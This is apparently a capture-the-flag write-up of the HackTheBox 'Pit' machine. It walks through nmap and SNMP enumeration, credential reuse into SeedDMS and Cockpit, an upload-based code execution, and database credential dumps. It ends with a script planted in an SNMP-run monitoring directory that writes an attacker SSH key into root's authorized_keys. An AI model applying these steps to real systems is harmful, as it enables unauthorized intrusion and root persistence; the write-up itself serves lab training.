> For the complete documentation index, see [llms.txt](https://sovietbeast-writeups.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sovietbeast-writeups.gitbook.io/writeups/hackthebox/linux/pit.md).

# Pit

## Pit

## Credentials

### Plaintext

| User     | Password      | Note                                             |
| -------- | ------------- | ------------------------------------------------ |
| michelle | michelle      | SeedDMS, dms-pit.htb/seeddms51x/seeddms          |
| seeddms  | ied^ieY6xoquu | /var/www/html/seeddms51x/conf/settings.xml       |
| seeddms  | seeddms       | sqlite /home/www-data/seeddms51x/data/content.db |

### Hashes

| User     | Hash                             | Note            |
| -------- | -------------------------------- | --------------- |
| admin    | 155dd275b4cb74bd1f80754b61148863 | from seeddms sb |
| michelle | 2345f10bb948c5665ef91f6773b3e455 | same            |
| jack     | 682d305fdaabc156430c4c6f6f5cc65d | same            |

## Enumeration

### nmap

#### TCP Scan

```bash
# Nmap 7.91 scan initiated Sun May 16 10:02:25 2021 as: nmap -p22,80,9090 -sC -sV -oA nmap/detailed 10.129.107.110
Nmap scan report for 10.129.107.110
Host is up (0.11s latency).

PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
|   256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_  256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp   open  http            nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open  ssl/zeus-admin?
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.1 400 Bad request
|     Content-Type: text/html; charset=utf8
|     Transfer-Encoding: chunked
|     X-DNS-Prefetch-Control: off
|     Referrer-Policy: no-referrer
|     X-Content-Type-Options: nosniff
|     Cross-Origin-Resource-Policy: same-origin
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>
|     request
|     </title>
|     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <style>
|     body {
|     margin: 0;
|     font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif;
|     font-size: 12px;
|     line-height: 1.66666667;
|     color: #333333;
|     background-color: #f5f5f5;
|     border: 0;
|     vertical-align: middle;
|     font-weight: 300;
|_    margin: 0 0 10p
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1
| Not valid before: 2020-04-16T23:29:12
|_Not valid after:  2030-06-04T16:09:12
|_ssl-date: TLS randomness does not represent time
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at <https://nmap.org/cgi-bin/submit.cgi?new-service> :
SF-Port9090-TCP:V=7.91%T=SSL%I=7%D=5/16%Time=60A12635%P=x86_64-pc-linux-gn
...[snip]...
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
# Nmap done at Sun May 16 10:05:44 2021 -- 1 IP address (1 host up) scanned in 199.21 seconds

```

Here the `ssl-cert` field tells that domain name is `dms-pit.htb`

#### UDP Scan

```bash
sudo nmap  10.10.10.241 -sU                                                                                                                                                                                  1 ⨯
Starting Nmap 7.91 ( <https://nmap.org> ) at 2021-05-16 13:52 EDT
Stats: 0:03:54 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 24.61% done; ETC: 14:08 (0:11:57 remaining)
Stats: 0:07:58 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 47.81% done; ETC: 14:09 (0:08:42 remaining)
Nmap scan report for dms-pit.htb (10.10.10.241)
Host is up (0.046s latency).
Not shown: 999 filtered ports
PORT    STATE         SERVICE
161/udp open|filtered snmp

Nmap done: 1 IP address (1 host up) scanned in 1017.82 seconds

```

Revealed that on port `161` service `snmp` is running

### Port 9090

<figure><img src="https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2FMzcwhoJzPRro93s2i7BA%2FPasted_image_20210516161421.png?alt=media&amp;token=2d6bbf14-282a-4864-b1a2-dc3ed2732d22" alt=""><figcaption></figcaption></figure>

New hostname `pit.htb`. Fuzzing discovered the endpoint `/ping` that shows service name `cockpit`

<figure><img src="https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2F0VowzRnfTvDWWEwCktsC%2FPasted_image_20210516172411.png?alt=media&amp;token=1f0b5a8c-d3c3-48ac-83cd-7dbf903bc5c8" alt=""><figcaption></figcaption></figure>

Which appear to be <https://github.com/cockpit-project/cockpit>

### Port 80

<figure><img src="https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2FdHhnbmdiT1jt2pZg2i5E%2FPasted_image_20210516161526.png?alt=media&amp;token=111d10bf-3242-4a4b-a19a-b1beb75b303a" alt=""><figcaption></figcaption></figure>

Looks just like `nginx` test website

#### Virtual host

<figure><img src="https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2FejdIbWICIMdK0Gi39nFo%2FPasted_image_20210516200700.png?alt=media&amp;token=e5a5b0a0-4ecf-4f02-bf0d-bf1d507abc1b" alt=""><figcaption></figcaption></figure>

`dms-pit.htb` is served on port `80` and `9090` but here returns `403 Forbidden`

### SNMP

<figure><img src="https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2Ft3mQy09GpyeYpkRRVUys%2FPasted_image_20210516185132.png?alt=media&amp;token=7fe55077-592a-45f8-a2bf-e174ebe64a44" alt=""><figcaption></figcaption></figure>

With `public` community string dumping a lot information was possible including `nsExtendObjects` that leaked user `michelle` and `SELinux Roles` as well as system version `CentOs Linux release 8.3.2011`

```bash
snmpwalk -v2c -c public 10.10.10.241 1 # 1 at the end is to query all the records
...[snip]...
UCD-SNMP-MIB::prCount.1 = INTEGER: 3
UCD-SNMP-MIB::prErrorFlag.1 = INTEGER: noError(0)
UCD-SNMP-MIB::prErrFix.1 = INTEGER: noError(0)
UCD-SNMP-MIB::prErrFixCmd.1 = STRING:
UCD-SNMP-MIB::dskIndex.1 = INTEGER: 1
UCD-SNMP-MIB::dskIndex.2 = INTEGER: 2
UCD-SNMP-MIB::dskPath.1 = STRING: /
UCD-SNMP-MIB::dskPath.2 = STRING: /var/www/html/seeddms51x/seeddms
UCD-SNMP-MIB::dskDevice.1 = STRING: /dev/mapper/cl-root
UCD-SNMP-MIB::dskDevice.2 = STRING: /dev/mapper/cl-seeddms
UCD-SNMP-MIB::dskMinimum.1 = INTEGER: 10000
UCD-SNMP-MIB::dskMinimum.2 = INTEGER: 100000
UCD-SNMP-MIB::dskMinPercent.1 = INTEGER: -1
UCD-SNMP-MIB::dskMinPercent.2 = INTEGER: -1
UCD-SNMP-MIB::dskTotal.1 = INTEGER: 2611200
UCD-SNMP-MIB::dskTotal.2 = INTEGER: 125600
UCD-SNMP-MIB::dskAvail.1 = INTEGER: 350764
UCD-SNMP-MIB::dskAvail.2 = INTEGER: 75496
...[snip]...

```

Command returned interesting string `/var/www/htmlseeddms51x/seeddms` as this could indicate another web application running on the server.

### SeedDMS

On port 80 `SeedDMS` was accessible on `dms-pit.htb/seeddms51x/seeddms`

## SeedDMS

### Login page

<figure><img src="https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2Fo1X0axNt9KwWwztlDrBE%2FPasted_image_20210516212900.png?alt=media&amp;token=30a530cd-e796-4f9d-9000-978259478f42" alt=""><figcaption></figcaption></figure>

The obtained user `michelle` was using her name as a password that allowed to login to `SeedDMS`

<figure><img src="https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2F30IIzOZhdbQmliQBOeIX%2FPasted_image_20210516213010.png?alt=media&amp;token=1fe3df3d-4efe-4c49-909a-1ed57255e82a" alt=""><figcaption></figcaption></figure>

### Version

Upgrade note from administrator says that version was upgraded to `5.1.15`

### Users

Insider `Docs/Users` directory was listed one additional user `Jack`

<figure><img src="https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2Fi6BFfOAGXYbBV3XoUcE8%2FPasted_image_20210516213755.png?alt=media&amp;token=ce6e9442-a557-48fa-b40c-20eef8da8d23" alt=""><figcaption></figcaption></figure>

### Code Execution

User can add any file to the server and access it by going to the `/seeddms51x/data/1048576/31/1.php` url where `data, 1048576 and 1.php` are hardcoded values and `31` is `DocumentID` and this can be obtained from the URL

<figure><img src="https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2FfZftg4jfYNVpgp1mieEQ%2FPasted_image_20210516221527.png?alt=media&amp;token=24d94152-dfe2-4297-882b-5eeabb08bb64" alt=""><figcaption></figcaption></figure>

<figure><img src="https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2FQIX0dP7k0cqkHXvfzfkt%2FPasted_image_20210516221233.png?alt=media&amp;token=f96b1350-bd14-400f-aa41-1ebb9e744bcd" alt=""><figcaption></figcaption></figure>

Exploit source: <https://www.exploit-db.com/exploits/47022>

#### Reverse Shell

Reverse shell was unsuccessful as returned permission denied

![](https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2FmkuW81EZWpM1S2bDkVkz%2FPasted_image_20210516222003.png?alt=media\&token=5533df8f-126a-4a7d-ae34-ce6031446eb1)

#### Enumeration

Inside `/var/www/html/seeddms51x/conf/settings.xml` password for `sql` database was found `seeddms:ied^ieY6xoquu`

<figure><img src="https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2FJj3H3U7DWacrIerbqUxV%2FPasted_image_20210516222629.png?alt=media&amp;token=61265ecf-bdd3-4801-8a7f-7d66f6a694d4" alt=""><figcaption></figcaption></figure>

As `Admin` note said the version was updated to `5.1.15` the version from the database says `5.1.0`

Another database credential found this time to `sqlite` database

<figure><img src="https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2Fa9llqL6evQCqLbNVPZgF%2FPasted_image_20210516231900.png?alt=media&amp;token=911b5229-9c48-4751-9f9e-826587afc34e" alt=""><figcaption></figcaption></figure>

#### MySQL Database

With obtained credentials querying the database was possible

<figure><img src="https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2FwdYfWcpmzJa2K873Ck4q%2FPasted_image_20210516224645.png?alt=media&amp;token=9fc5220b-e5b9-4f78-84fa-c50ec606a971" alt=""><figcaption></figcaption></figure>

And dumping the users credentials

<figure><img src="https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2FjD8UNG9OO1qcyYwPDRaL%2FPasted_image_20210516224937.png?alt=media&amp;token=850bceb4-be8b-4a8b-bcbb-aeba3a515fe2" alt=""><figcaption></figcaption></figure>

## CentOs Cockpit

Service running on port 9090 allowed login as `michelle` with password `ied^ieY6xoquu` obtained from `settings.xml`

<figure><img src="https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2FrKF8lRQfnMvrzMEBICOT%2FPasted_image_20210517094714.png?alt=media&amp;token=5c9749fb-decb-46e1-bfd0-4be939b8abeb" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

The script `/usr/bin/monitor` is running when querying the snmp protocol

<figure><img src="https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2FUTy6qNSUoZV7pM1r9cst%2FPasted_image_20210517124651.png?alt=media&amp;token=7ee102d1-521f-4db4-a319-9786ea3b904b" alt=""><figcaption></figcaption></figure>

User `michelle` can write to the `/usr/local/monitoring` but can't read the directory content

<figure><img src="https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2FIhFaE9V37NsQUC6Tqgph%2FPasted_image_20210517124938.png?alt=media&amp;token=8067d60a-90a5-4bd3-976f-d5ab9721c90f" alt=""><figcaption></figcaption></figure>

### PoC

User `michelle` can write to this directory

![](https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2FoL7rYS2PhHl30nPjoR3h%2FPasted_image_20210517125037.png?alt=media\&token=94b05962-9b2f-49d8-bf28-61ff9494d16f)

### Writing public key to root authorized\_keys

![](https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2FcB2fAwYlRQOmx0MYy3qj%2FPasted_image_20210517125304.png?alt=media\&token=2fc44d57-1884-4a56-8e46-e1995364f772)

```bash
cat > /usr/local/monitoring/check-soviet.sh
#!/bin/bash
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDS7fvOiP06eOcsnCYig+yt4ocXLjdT5VIsn7FoNvL0Xqm1iV0UUw5EvD8AE4IMBi5Xj7gSNIceHqXwV9Yp47g1qoqEfkvDms+e7D2JJOBrAs32skdwo/u0xAseEvtnW2fwTsI7acrfq4lWsViWTrTCtV2x9C5IZWQPxyyXiK0xTBPUMEC5RA8ZLhaWPJBOCSrC1VE7466hUB2VIqmhg1MXuR2afJtaGqOY8/ExkxXIJ2QTV5rcYDvVBLdZu7Ngvtsa1JEgyAHJO0iz9AgRc3+eomyvFCvlpsYw7rN3Nz97TmwIteyl//OTqaNvmTHiV8ZfNJZYQ5zU+9JJ4eXQn/iP8yTVu6OBl1irBUnKajjcOE/WmyZ7+iiszwDUB+nEPp68yjyrn4ph/UlipZ6O5X5damOcBMFMVX69cvrUdVO7TuQTx+u5b+j3V6DPVf5d/4IHDatxdjLvSCrhozwQUEZlqi4MGL/7pm6wgkiTh93fwhUcswEpq81aoD19DLYow/U= kali@kali" >> /root/.ssh/authorized_keys
echo "Is this working? - Soviet $(whoami)"
^D

```

After running command `snmpwalk -v2c -c public 10.10.10.241 1` or `snmpwalk -v2c -c public 10.10.10.241 nsExtendObjects`

<figure><img src="https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2F8HDMsDYLpoJOhd3gNv96%2FPasted_image_20210517125858.png?alt=media&amp;token=0d83bdbd-29df-4153-bde2-dfd7eada4a32" alt=""><figcaption></figcaption></figure>

Generated ssh key is added to `/root/.ssh/authorized_keys` and allowed to login via `ssh`

<figure><img src="https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2FkDEhTzPjFKXKCZwn8xdm%2FPasted_image_20210517130445.png?alt=media&amp;token=5e6a531b-a87c-4b66-9137-130ada395769" alt=""><figcaption></figcaption></figure>

<figure><img src="https://133742081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDnToeJfxVb7jBS1Pupch%2Fuploads%2FNwNEfRcIi5NSQDzJHBQt%2Fhack-the-planet-hacker-cat.gif?alt=media&amp;token=10870c0b-1b42-4164-b907-e48b8ef09a35" alt=""><figcaption></figcaption></figure>
